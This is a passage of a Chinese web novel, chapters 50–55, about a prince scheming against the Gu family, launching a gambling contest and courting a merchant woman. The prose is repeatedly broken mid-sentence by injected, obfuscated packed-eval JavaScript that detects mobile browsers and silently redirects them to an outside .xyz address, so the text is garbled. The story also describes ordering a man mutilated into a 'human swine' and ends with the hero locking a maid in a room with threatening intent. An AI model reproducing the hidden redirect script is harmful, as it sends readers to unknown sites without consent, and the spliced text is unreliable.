“你放心,我向来说话算话。”林臻在身上摸了摸,居然没摸到钱。 这才想起今天压根就没带钱出来,于是回手又在张俪腰间摸了摸,摸得小妮子吃吃傻笑。 “哎呀咯咯咯~世子,您干什么呢!” “林臻,你别耍花招!告诉我钱在哪!” “在这啊!” 林臻从张俪腰间摸出个钱袋子,从里面掏出个银饼子,拿在手里在顾北辰面前晃了晃。 “淘气,出门怎么也不带点零钱啊?这么多都给他,简直亏死了。” “啊?世子.您这是要” 第50章 堂堂顾家少爷,磕三个头就值五两银子! 张俪嘴巴张得能塞进去一个鸡蛋。 她不明白林臻是什么意思。 同时顾北辰也没理解,直到林臻把这个银饼子直接扔给到顾北辰脚边。 “便宜你了,就这些吧。” “你什么意思?”顾北辰好像反应过来什么,突然恼怒起来:“你要出尔反尔?” “没有啊,我不是给你钱了吗?” “我要的是整个地下钱庄!” “我不知道地下钱庄是什么,我只是说你给我磕头,我给你钱。现在我做到了,就是这么多钱都给你,着实亏得慌。” “我” “噗咯咯咯。”张俪这才反应过来,原来林臻根本就没打算把钱还给他,而是利用这个羞辱他! 顾家少爷,磕三个头就值五两银子! “堂堂顾家少爷,丞相之子,四九城里天道顶级纨绔,竟然为五两银子下跪!咯咯咯咯~世子,真是笑死妾身了呢~” “哈哈哈哈。” 这下所有人都明白过来。 曹雄笑得最是豪迈。 “哈哈哈哈,世子说得对,这么多钱都给你简直亏死了,我这有个铜板,给你算了。” 言罢曹雄把手里的一文钱铜板丢给顾北辰,自己把那快银饼子捡起来揣进口袋里。 “捡起来啊!你不是要钱吗?哈哈哈哈!” “快捡快捡,要不然头就白磕了!” 虎贲营的人跟着起哄,白袍义从则是怒目相向。 主子被羞辱,他们肯定也不爽利。 顾南山轻轻叹了口气。 还以为林臻小人得志,得意忘形,不知道这里面的根结,只想着羞辱一番就把钱送回来。 谁知道他竟然玩文字游戏,狠狠羞辱了一把顾北辰。 唉,小小年纪就有这样的心性,以后前途无量啊。 他低下头,看了看那枚铜板,躬身捡起来。 却没想到被顾北辰瞬间拍落,掉在地上。 “当啷啷~” 铜钱掉在地上,击打声在安静的地窖里回荡。, 顾北辰怒吼道:“你还捡它作甚!还嫌不够丢人吗?” “少爷,大丈夫当能屈能伸,敢作敢为,我顾家绝不能输人又输阵!如果一个人无法面对失败,那他便永远无法成长起来!现在你给我把头低下去,捡钱!” 顾南山像个先生般谆谆教导,顾北辰艰难地看着地上铜钱。 “南山,那可是我顾家全部心血啊!” “捡起 来!只要你捡起来 林臻眯起眼睛。 顾南山不愧有乱世鬼才之名光是这份冷静和心胸就绝不是一般人能比的。 必须得找个机会宰了他否则后患无穷。 果然顾北辰在他的鼓励下低头把铜钱捡了起来。 顾南山走过来对林臻作揖行礼:“世子这局老奴输了。” 林臻什么都没说就这么静静看着他。 只听他又说道:“但你别以为你赢了我顾家宁为玉碎不为瓦全。这笔钱我们得不到你一样也得不到。” “什么意思?” “如果老奴向陛下禀报.您觉得这笔钱您还能留下吗?不如我们两家一人一半相互掣肘如何?” “哈哈哈哈哈。”林臻哈哈大笑“顾南山你用这点小伎俩也想骗走一半财富未免也太小看我林臻了吧?如果陛下知道你们贪污了这么多钱你以为顾家还有存在下去的可能吗?” “当然有!”顾南山突然瞪大他的三角眼笃定地说道:“只要摄政王还活着顾家就绝不会倒。” “那你就去试试啊你且看我会不会把钱交出去。” 林臻终于不靠着墙壁了他来到顾南山身边低下头贴在他让人作呕的脸边说道。 “你知道这么多钱可以供养多少军队吗?顾南山这个闷亏你顾家吃定了皇帝也帮不了你我说的。” 言罢林臻带着自信的邪笑走出仓库。 一场闹剧也该结束了有耗下去的时间还不如回家给顾北辰扣两个绿帽子呢。 张俪也跟着他离开虎贲营断后最终所有人在赌场内部齐聚。 “南山我们这就去找陛下!我们得不到他也没别想要!” 顾南山望着顾北辰愤青的脸幽幽叹了口气。 与林臻的镇定与腹黑相比顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789183|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北辰差得实在太远了根本不是一个级别上的。 但是有一点他不明白。 原本不学无术的林臻为何会一夜之间成为手段老辣运筹帷幄的政客呢? “少爷这件事绝不能告诉陛下。” “为什么!?你刚刚不是还在威胁林臻吗?” “老奴是想诓骗他交出一半的财宝但没想到林臻宁可造反也不交出来。” “造反?他竟然有胆子造反!?” 顾北辰都没想过这个词。 在他的印象中林震仙是个刚正不阿的人虽然 势力极大,功高震主,但是绝不会造反。 这是所有人都明白的事情。 而女帝对林震仙也只是忌惮,担心他会造反而已,并非要将他彻底铲除。 而顾家存在的意义,就是要掣肘林震仙,可实际上效果微乎其微。 顾南山说道:“林臻此子绝非表面上那么顽劣,他心有城府,手段狠辣,是个比林震仙还难对付一百倍的敌人。适才老奴从他眼中看到了杀意,想必已经知道老奴乃军师这件事情了。” “你放心,有我在,没人能杀你。” 顾北辰的话,顾南山全当放屁了。 “少爷,从今以后你需更加刻苦学习,否则迟早有一天顾家会成为他的刀下鬼。” “我知道了,多谢先生教导。” 其实顾南山就是顾北辰的启蒙老师,多年来对他悉心教导,倾囊相授,否则顾北辰也不会年纪轻轻就成为全华夏年轻人的翘楚。 白袍义从陆续从赌场走出去,两手空空的样子让外面准备拉货的车马夫目瞪口呆。 顾北辰黑着脸回到自己的马车边上,一步踏上去。 林臻站在门口,看到马车的窗帘后面竟坐着一个人。 虽然看不清楚长相,但可以肯定是个女子。 会是谁呢? 刘书瑶已经被自己关起来了,没有命令浣碧是不会放她出来的。 难道是海棠朵朵?离开自己以后又投入了顾北辰的怀抱? 还是说,因为自己的出现导致这个世界又出现了什么跟顾北辰有关联的人呢? 第51章 世子,你掐疼人家了呢。 虎贲营存在京城的意义就是看守好这批财物所以林臻让他们换上便装分出一批住在赌场另一批则挂在城防兵马司名下两边半个月一轮换。 林臻站在窗边看着白袍义从和顾北辰他们越走越远暗暗沉思。 忽然大门口跑进来一队人马为首的正是两天没见的王胖子。 他肩膀上扛着陌刀神色匆匆吓得小厮们抱头鼠窜。 “大哥!大哥!我来救你了!” “瞎嚷嚷什么呢?” 胖子回头就看到林臻完好无损的站在窗边赶紧跑过来:“大哥我听说顾老鳖又派人来砸场子了?” “人已经走了。你赶紧把那破刀扔了挺大个人成天吊儿郎当正事不干就扛把刀四处乱晃成何体统?” “嘿嘿嘿嘿大哥我这不是担心你被欺负嘛你说你小胳膊小腿的。”胖子把刀递给马仔笑得像个弥勒佛。 林臻发现胖人都有一个特点那就是笑起来会很喜庆很招人喜欢。 尤其是胖子笑得时候没有脖子大黄牙一呲肚腩上下直颤悠。 “裴黔处理了吗?” “大哥放心我让仵作赏了他六大酷刑现在估计正爽着呢。你有什么意见?把脑袋割下来给你送去?” 林臻强忍着不适:“我要那玩意干什么?把他做成人彘放在濮阳县黄河边上。别死了啊最好多活几年。” 林臻轻描淡写的说着最残忍的话让胖子和张俪不禁起一身鸡皮嘎达。 太可怕了 其实他们根本不知道林臻是为了报原书中自己被做成人彘的仇。 裴黔这个人吃里扒外恩将仇报如果不给他最惨痛的教训林臻怒火难消。 “大哥放心我这就去安排哦对。”胖子从马仔怀里掏出一大包银子“大哥这是五百两银子你拿去用不够再问我要。” 林臻没好气的翻个白眼感情那天的话都白说了胖子压根就没理解什么叫分红。 还以为是自己跟他借钱呢。 “这是你入股的钱可不是我的。”林臻给张俪个眼神后者喊道:“小五阿文把银子收起来。” 两人鼻青脸肿的凑过来胖子一看就顿时就乐了:“哈哈哈哈操你哥俩这是钻哪个娘们的裙底给挤成这样啊?” 小五把钱接过去满脸赔笑道:“胖爷.我们俩是被顾北辰打的。” “本事不济就活该挨打!以后多 练练拳脚功夫,连顾北辰都打不过,成何体统?” 两人委屈巴巴的抱着银子走了。 心说那是打不过吗?那是不敢打啊! 人家可是国家二号首长的儿子。 两人离开,胖子也紧跟着告辞:“大哥,我这就去地牢里看看裴黔,要是没死就做成人彘送过去。” “嗯。”林臻点点头,又开始望着街边发呆。 张俪站在他身后说道:“世子,赌场明天就可以重新开业了。” “嗯,记得把陛下的圣旨挂出去。另外再命人抄录百份,在闹市以及周边城镇张贴,我要让赌王争霸赛这件事情,世人尽知!” “妾身明白,这就去办。” “嗯,马车的事情怎么样了?” “妾身已经找到全城所有空闲的木匠,再有四天就能顺利交付,可是” 张俪顿了顿,以前她可不是个吞吞吐吐的人。 林臻不禁回头看她。 “可是什么?” “可是您去哪弄那么多马匹呢?京城里的马厩只有四家,就算凑到一起也凑不够马车的数量。” “哈哈哈哈。” 林臻哈哈大笑,搂过张俪的身体,两人一同站在窗前。 “傻妮子,你忘了我家是干什么的了?” 张俪脑袋都懵了,浑身僵硬,只感觉林臻的大手在自己腰间作怪,哪里还会思考? 嘶.哎呀,他好用力呀。 掐疼人家了呢。 “几百匹马而已,我只要和龙骧营一说,他们立刻就会送来诶?你怎么了?” 眼见张俪的脸蛋白里透红,贝齿狠狠咬住下唇,一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789184|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春心荡漾的媚态。 林臻这才注意到自己放在她腰间的手但好像也没干什么啊! 难道说古代女孩都这么敏感? 林臻坏坏一笑,故意逗弄她:“俪儿,你是不是哪里不舒服啊?要不要本世子送你上楼去休息休息?” 张俪一把将林臻推开:“嗯不!妾身哎呀世子,男女授受不亲,您就不要再对妾身动手动脚的了。” “我没干什么啊,只是搂一下而已啊。” “那也不可以!女孩子的腰岂是能随便搂的吗?就算世子想搂.那也得明媒正娶才行。” 张俪明明害羞,却梗着脖子硬要反驳,这番小女儿的媚态让林臻更是喜欢。 实话讲,张俪很漂亮,有着成熟女子的优雅与妩媚,但年龄却只有二十岁。 在古代,二十岁还没嫁人的女子绝对是大龄剩女,问题少女,想相亲都不容易。 可偏偏张俪不在乎这个,她认为只要能碰到喜欢的人,等到多少岁嫁人都没关系。 只要两个人能有心灵上的交融,就算是七老八十又如何呢? 林臻笑道:“哦?原来俪儿是想嫁人了呢?” “哎呀世子!妾身不和您说了!”张俪转身要跑,却又被林臻搂了回来。 两人在赌场大堂的窗边深情拥抱。 正午的阳光照射进来,洒在两人身上,仿佛批了一层金光。 小厮、虎贲营的人都识趣的闭上嘴巴,转身离开现场,只有曹雄这个混蛋趴在桌子底下猛看,好像发现了什么惊天大瓜。 林臻才不管她们呢。 后世的自己虽然也谈过恋爱,但那都是年轻时候的事情,大学毕业后为了前途就没敢再谈。 现在轰轰烈烈谈一场也不算晚,更何况张俪符合他所有的择偶标准。 张俪的身躯不由自主地紧绷,迷茫里夹杂着难以言喻的甜蜜与安宁,让她一时间竟不知如何是好。 一股微妙的抗拒之情在她心间悄然涌动,她想挣扎,却发现林臻将自己搂的很紧, 第52章 哭哭哭!哭你亲娘舅啊!(二) 回想起两人几天来的点点滴滴,从初见时的针锋相对,到后来的相互较劲,再到一场场微妙赌约中悄然滋长的默契。 她发现自己已全然沉浸在林臻那份毫无保留的信赖与喜欢之中。 情不知所起,一往而深。仿佛一夜春风,让冰封的心田绽放出绚烂花朵。 林臻贴在她耳边说道:“三个月后,我一定把你风风光光的娶进门。” “且,才不要呢。”张俪耳朵痒痒地娇嗔一声,弄得林臻有些摸不着头脑。 以他的情感经验,肯定不晓得张俪要做什么,于是问道:“为什么?你不想嫁给我吗?” 张俪的声音很轻很轻,仿佛是在诉说一件很悲惨的事情。 “您是王府世子,一人之下万人之上。而我只是个小小商贾,还是在赌场这样的风尘场所。我们身份相差太多了您如果把我娶进门,会被人耻笑的。” “胡说八道!放眼四九城我看谁敢笑?我非打断他的腿!”林臻霸气地说道:“我想娶的女人,就是皇帝也拦不住!” 张俪瞬间红了眼眶,刚刚被抱时的无动于衷已消失不见,反手搂住林臻的虎腰。 今生今世,能得到最有权势男人的宠幸,已是无憾。 可张俪的内心还有一个担忧,那就是之前两人的赌注。 “你到底要让我杀谁?” “别急,我慢慢告诉你。” 话分两头。 林臻这边甜甜蜜蜜,顾家可是一阵阵鸡飞狗跳。 顾云霆听闻地下钱庄的事情后,气得将很多青瓷花瓶都砸了个粉碎。 顾北辰和顾南山就站在原地,大气都不敢喘。 “砰!” “林臻!!老夫,势必要用你的血来还债!” “林震仙,你教育出来的好孙子,害我顾家倾尽家财!” “林臻!你这个门下小犬,你这个匹夫竖子!老夫与你势不两立!” “砰!”又是一个价值不菲的大花瓶被摔成碎片。 这已经是第十个了,顾南山看着都心疼。 顾云霆砸来砸去,最后瘫坐在桌子边,偷偷抹了抹眼角。 好死不死,她老伴正好走进来,看着满地的碎片大喊道:“你个老鬼,是不是不想过了啊!摔这么多花瓶,你有钱烧的呀你!” 顾云霆本来就在气头上:“你妇道人家懂个鸟啊?滚出去!” “哎呦,你还挺来劲!我告诉你,这些花瓶都是我从娘家带来了,你摔几个就赔我几个!” “滚!”越提钱顾云霆越是恼怒,瞪着猩红的眼睛仿佛要吃人似的。 “母亲,您少说两句吧。”顾北辰也跟着劝慰。 老伴这下不敢言语了,嘟嘟囔囔地离开现场:“哭哭哭!哭你亲娘舅啊!” “我”顾云霆打死也没想到,自己有一天会被老伴用这句话回怼,“北辰,你娘太过分了!老夫非休了她不可!” “老爷。” 顾云霆指着他大骂道:“闭嘴!顾南山,赌场的事情一直都是你在负责,现在数百万两的银子丢了,你该当何罪!” “老奴知罪。”顾南山跪了下去,低着头神情蓦然。 顾北辰虽然也很气愤,但是他知道,这件事情根本就不怪顾南山,而是林臻! “父亲,这件事不怪南山,是林臻太过狡猾,提前将财宝搬走了。” “他为什么会知道地下钱庄的事情?说!说不出来,这件事情你们俩要负全责!” “我”顾北辰也不知道应该怀疑谁。 但他敢肯定不是顾南山。 这时,顾南山忽然抬起三角眼,瞳孔深邃地说道:“敢问老爷,酒楼地窖里的财宝,林臻是怎么知道的?” “你问我,我TM哪知道?” 顾北辰好像明白过来什么。 “先生,你的意思是知道酒楼财宝和告诉林臻有地下钱庄的,是同一个人?” “非也。知道酒楼财宝的人都已经被老奴杀掉了,如果是同一个人的话,林臻又是怎么知道地下钱庄的呢?” “那你是什么意思?” “是张俪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789185|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”顾南山的眼睛变得无比锐利:“肯定是她!她以前是赌场的掌柜,与酒楼掌柜有往来很是平常,万一酒楼掌柜看上了她,将这件事情说了出来” 顾北辰疑惑地说道:“那也不对啊,张俪以前是我们的人,叛变也就是这几天才发生的事情。” “那如果张俪一直都是林臻的人呢?” “啊” 此言一出,满场皆惊! 如果真是这样的话,那就太可怕了! 张俪可不是第一天成为顾家掌柜,到今天已经有半年之久。 也就是说,林臻从半年前就在打顾家的主意!以前的不学无术只是他伪装出来的! 顾云霆暗暗有些心惊,杀意早已控制不住。 “你有几分把握?” 顾南山说道:“不管有没有把握,张俪这个女人绝不能留!” “没错,父亲,张俪此女实在恶毒,您把这件事情交给孩儿去办!孩儿定会给您个交代!” “少爷。”顾南山担心顾北辰再次成为林臻的玩物,于是出言提醒道:“恕老奴直言,张俪天生媚骨,一颦一笑皆有风情流露。您万万不可因色而废事,这是关乎到顾家前途的大事,容不得半点马虎。” “先生放心,这次,我亲自去请天道的人。” 顾南山眼睛微眯,立刻拒绝道。 “不妥。若是前几年尚可,那时的天道杀手恪守教规,信奉教条,请他们出马万无一失。可自从那个叫青霞仙子的女人上位后,只要给钱什么买卖都做,残害江湖,祸害百姓,毫无底线可言。我们如果和他们沾染上关系,恐成为众矢之的。” “可是先生,张俪有虎贲营保护,如果不请专业的杀手来,我们如何能动她?” “我们并不急于求成。张俪是商贾,每天接待宾朋无数,你找个机会掳回来即可。最重要的还是林臻,此子” 顾南山的话还没说完,有小厮手里拿着破碎的黄纸跑进来:“老爷!我们的赌场重新开业了,他们到处张贴告示,说要举行赌王争霸赛!” “什么?赌王?” 第53章 万恶的资本家林臻 “胡闹!荒谬!”顾云霆的眉宇间紧锁着不解与愤慨,声音沉凝如铁。 “赌王?亏他林臻想得出来,放眼历史长老夫还从没听过这样的王爷!此举不仅有辱皇家颜面,更是动摇国之根本!不行,老夫必须即刻进宫面圣,问问陛下为何会下这种糊涂圣旨!” “父亲且慢!”顾北辰狡黠之色掠过眼底。 “陛下旨意既出,必有深意,或许林臻那厮已与圣上暗结珠帘。我等若贸然进宫,反倒惹陛下不悦。此事还需从长计议,寻个万全之策。” 顾南山终于露出几分赞赏之色。 这才是天之骄子该有的做派。 想来前几日他是被林臻气糊涂了,才会屡屡犯下大错。 他捋着胡须问道:“哦?少爷以为如何呢?” “我认为,我们先视而不见,想办法把财宝的事情转弯抹角地告诉林震仙!以林震仙那刚正不阿、处事严谨的性子,即便他无心归还财物,也断不会坐视林臻任意挥霍。如此,我们便可暂且束缚住林臻,令其行动有所顾忌。” 顾南山闻言,不由自主地点头晃脑,那模样仿佛是沉浸在了世间最美妙的诗歌之中, 顾云霆亦是对自己儿子的这份沉稳与智谋感到欣慰,稳稳当当地坐下来静静听着。 顾北辰说道:“第二,我们暗中派人去赌场里打探情况,弄明白这个争霸赛到底是什么东西。唯有洞悉其全貌,方能于无声处听雷。虽然我们还不知道林臻到底要干什么,但只要我们挑对时机下手,就肯定能阻止他!对于我们目前的情况来讲,只要不让林臻做成任何一件事情,就是大大的胜利!” “至于张俪.”顾北辰嘴角勾起一抹残忍而玩味的笑意。 “待她落入我手,且看我如何炮制她!” “我要让她知道,背叛我顾家的代价是何等沉重!是何等的不可承受!” “哈切!” 张俪打了个喷嚏,烦躁地揉了揉鼻尖。 该死的天气忽冷忽热,早晚温差很大。 林臻把自己大氅披在她身上,随后又开始在图纸上乱写乱画。 张俪凑过去看,却发现看不太明白,只见到很多的条条框框,于是问道:“世子,您这是在画什么呢?” “城区快速路。” “快速路?那是什么?” “就是一条只能马车走,但人不能走的路。” 张俪歪着小脑袋,单手撑着美鬓微微摇头。 两人在赌桌边结伴而坐,林臻放下毛笔拿 起图纸说道。 “俪儿你看,南城门通往皇宫的朱雀大街有近十丈宽,百姓们在这里随意走动,横穿马路。为了安全,朝廷下令朱雀大街不许骑马,导致很多官员大夫都要步行去上朝。他们为了不迟到就需要提前一个时辰出门。” 林臻用毛笔的另一端在图纸上比画。 “如果我们把中间隔出一条五丈宽的新路,画好分界线,让马车在中间对向而走,这样既安全又可以方便交通。最重要的是,如果官员或者百姓有急事要出门,速度就会快很多。” 张俪虽然听不太懂专业名词,但还是大概理解了林臻的意思,眼睛亮晶晶的说道。 “世子的意思是,朝廷禁止在朱雀大街骑马,却没说不许走马车。” “对!这就是我让你打造马车的目的。”林臻得意地继续说道。 “马匹在大乾是很宝贵的战需品,平常百姓家根本买不到,也买不起。但对我来讲,马要多少有多少!光是城外四大营就有万匹战马可供我使用!我们把战马变成马车,供寻常百姓使用,乘坐一次有两文钱起步费,每行驶一盏茶的时间加一文钱。全城五十万百姓,即便每辆马车一天只能赚一百文钱,而三百两马车,一天就是三十两银子。” 张俪惊讶的张大嘴巴,小手在算盘上噼里啪啦地乱敲。 片刻之后,她震惊得无以复加,满脸感叹地说道:“一天三十两,一年就是一万多两!而且我们不仅可以给百姓用,那些官员商贾,也都可以!” 张俪不愧是商界女强人,立刻就想到了衍生产品:“我们可以用最好的战马,最豪华的马车给官员用;马车外面朴素,里面豪华的可以给商贾用!这样就又是一大笔收益!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789186|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真聪明!”林臻在张俪鼻子上轻轻一刮,逗弄的她娇笑不止。 “咯咯咯咯,哎呀,世子别闹嘛!我们还有个车夫的问题没解决呢,就算你把家里的小厮都搬出来也凑不够三百啊。” “家里的小厮我不会用,直接在集市上雇佣即可。来应聘的车夫必须身份清白,还要有家人作保,每个车夫每天下班后需要上缴份子钱八十文!其余就是他们的工资,吃喝拉撒我们一律不管。” 现在的大乾不太平,全国的百姓都需要心往一处想,劲往一处使。 等自己彻底平定天下以后,再想办法提高百姓的福利吧。 就目前来讲,百姓能吃饱穿暖,生活有奔头即可,生活水平不需要太高。 太高反而麻烦。 张俪又开始在算盘上噼里啪啦 地敲打,最后说道:“就算车夫一天只赚二十文,每个月依然有六钱银子的收入,在大乾也算很高了。” 万恶的资本家啊! 其实有时候想想,林臻都想给自己一嘴巴。 他想起自己在后世上大学的时候打暑假工。 餐厅老板一天赚五千,啥活儿不干还总逗女服务员。 林臻一天累死累活的擦桌子才赚六十,就这,要钱的时候还得点头哈腰的赔笑脸。 他奶奶的。为了报仇雪恨,离职的时候林臻弄点碎砖末把餐厅厕所整堵了,导致老板疏通下水道花了八百。 结果现在自己成了资本家。 一样剥削百姓,一样压榨劳力。 唉,难道我们就不能对自己的同族袍泽好一点么。 不过有一点林臻可以肯定,那就是车夫一天赚的钱绝不会低于二十文,相比于大乾百姓的平均生活水平,这已经很好了。 林臻在赌场呆了一下午,把京城所有街道、坊市的规划图都画了出来,明天递交给工部即可。 工部尚书是个老学究,与林震仙颇有往来,应该不会在这件事情上刁难。 一切都安排好,林臻打算回家休息休息。 却没想到在门口,正碰见小翠。 第54章 我来替顾北辰尝尝咸淡 赌场离王府后门更近。 于是林臻带着二狗、韩忠两人溜溜达达地招摇过市往家走。 侯春那小子还在为母亲守灵暂时没回来。 其实按照世子的身份来讲一般情况下是不能走后门回家的这是规矩。 但林臻最不看重的恰恰也是规矩。 放着后门不走非平白无故多走十五里的绕到明德坊再从正门走到距离后门只有半里地的后院。 这TM不闲的蛋疼么。 结果没成想他刚刚回到后门的时候正看到一个姑娘进去。 这姑娘侧颜有点熟悉穿着一身粉红色的长裙看起来娇小可爱。 林臻琢磨来琢磨去竟没想起来是谁于是问身后的两个马仔。 “刚才进门那姑娘你们看清了吗?” “怎么了世子没有啊。” “有什么问题吗?” 给侯春母亲办葬礼这件事情让韩忠对林臻的态度有了些许改观。 当然也只是些许而已。 林臻摇了摇头:“没有就是觉得挺熟悉。” 二狗说道:“世子多虑了这府里的丫鬟没有一百也有八十您哪能全都记得?” “有道理行吧回家。” 看守后门的三蹦子正拿牙咬着银子见林臻过来赶紧将银子揣起来堆笑着说道:“世子您回来了。” “小瘪三谁给你的银子啊?”林臻很好奇。 一个看门的小厮竟然能抱着一大块银子啃这太神奇了。 我那个当保安的朋友怎么没这个待遇呢? “嘿嘿嘿真是逃不过世子的法眼。”三蹦子把带着自己口水的银子从怀里掏出来。 林臻才不会要他的钱呢他只是好奇而已。 就见三蹦子神秘兮兮地说道:“不瞒世子这是小翠姑娘刚刚给奴才的。” “小翠?她为什么给你银子啊?”林臻心里升起一股说不清道不明的感觉。 不是愤怒也绝非平静就是想知道究竟怎么回事。 本身小翠就是刘书瑶的贴身婢女也是她青梅竹马的玩伴是刘书瑶从刘家带过来的。 林臻一直都没有注意这个女人是因为在原书中对她的描写并不多只知道她是个被顾北辰顺带收藏起来的笼中雀而已。 以她的姿色能被顾北辰喜欢完全是因为刘书瑶。 三蹦子看了看二狗和韩忠 “是 ,世子。 两人走了,三蹦子看了看确定四下无人,这才敢说道。 “世子,您不知道。今天上午顾北辰过来将小翠姑娘接走了,刚刚又是顾北辰亲自给送回来的。奴才看的小翠姑娘下车的时候,顾北辰还牵着她的手不松开,两人在马车里说了一盏茶时间的话。可能是小翠看到了奴才,所以才给了银子,让奴才不要外传。 林臻眼睛微微眯起,怒火像窜天猴似的直达脑门。 玩不上刘书瑶开始对刘书瑶身边的丫鬟动歪心思。 顾北辰啊顾北辰. 真有你的。 既然如此,就由我来先替你尝尝咸淡吧。 “我知道了,银子你留下吃酒。 “多谢世子!多谢世子! 林臻黑着脸回到后院,就看到厢房院里的凉亭下正坐着一个美人。 美人正在用毛笔写字。动作生疏,手法僵硬,却一直谨记着将背挺直。长发垂肩,伴随着风吹过梨树的沙沙声,轻轻摇摆。 看到这一幕,林臻的内心稍有缓和。 果然,当看到美丽景色的时候,再暴烈的心也能平静下来。 所以说还是得多娶几个媳妇。 “浣碧。 “世子!浣碧抬头,语气惊喜,那双好看的眼睛里除了林臻外再容不下别物。 她提起裙摆,迈着小碎步过来作揖:“世子,您回来啦。 “嗯,这是干什么呢? “额奴婢想学着认几个字浣碧还有些不好意思,连忙又保证道:“奴婢保证不会耽误正经事! “学习是好事情。以后内院里的事情尽量让别人去做吧,你就安心学习。 “不不不,内院还是奴婢亲手拾掇吧,换了人反倒不放心。 “随你。林臻对此不是很在乎。 大乾的女孩子通常是不读书识字的,林臻也没有伟大到像瓦特似的,故意发明个蒸汽机来提高女性社会地位。 想学就学,不想学就不学,随心就好。不过林臻发现古人还是很爱学习,不分男女。 因为在这个时代,读书是真可以改变命运的。 这个BUG一直到21世纪才被修复。 不扯这些没用的,林臻还在想小翠的事情,于是他问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789187|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘书瑶一直都在这里吗? “嗯,夫人一天都没有出过厢房。 “那小翠呢? “小翠姑娘早上出去过, 后来又回来了,然后又出去了。刚刚奴婢听到唐三在叫,估计是会回来了吧。” 唐三是王府内院的一条恶犬。 林臻点点头:“让小翠到厢房来。” “是,世子吃饭吗?” “等我吃完小翠再吃饭。” “啊?世子,吃人可是不对的哦!”浣碧脸上写满了吃瓜两个字,林臻气鼓鼓地扬起手道。 “小妮子,讨打!” “哎呀!咯咯咯咯!”浣碧娇笑着跑开。 林臻站在原地不知不觉也笑了。 打开厢房的房门,林臻迈步走进去,就看到刘书瑶生无可恋地躺在床榻上,脚趾轻轻的搭在床边,目光无神。 见林臻进来,她起身坐在床边,表情木讷。 林臻坐在中堂的椅子上,对卧房里的刘书瑶说道:“怎么,没让你偷偷的去见顾北辰,便对我怀恨在心?” 刘书瑶摇头道:“妾身不敢。” “不敢最好。刘书瑶,我劝你还是守好你王府夫人的本份,否则你接下来就都要过这种日子了。” “林夫君,妾身有些饿,可以出去吃东西吗?” “别急,很快你就会吃瓜吃到饱。” “吃瓜?” 刘书瑶不理解这是什么意思,不过随着小翠走进厢房,她便冥冥之中联想到什么。 就见小翠先是对林臻行了一礼:“世子。” 态度很是敷衍,显然是不愿意和林臻多说话。 见她要走向刘书瑶身边,林臻一拍桌子。 “砰!谁允许你过去的?” “我”小翠心虚地支支吾吾,刘书瑶赶紧推了她一下。 “还不快过去!别惹世子生气。” “是” 小翠走了过来,林臻再次喊道:“浣碧!” “世子。” “把这个房间的门关上,锁好。” “是。” 浣碧拿了把铜锁,将刘书瑶卧房的门关上锁好,与此同时,林臻快速抓起小翠的手腕,目光阴狠地说道:“你喜欢顾北辰是吧?” “好啊,今天我就先替他尝尝咸淡。” 第55章 您到底要做什么...小姐,小姐救我! 小翠下意识地往后退了两步,身体装在门板上,慌乱地说道:“世世子,奴婢不明白您的意思。 林臻不打算揭穿她,就让她保持着侥幸的小心思,这样玩起来才有乐趣:“没关系,我可以让你慢慢明白,桀桀桀桀 “不,世子,奴婢到底做错了什么.您别这样笑,奴婢怕. 小翠从来没见过林臻这副表情,就好像.好像要吃了自己一样! 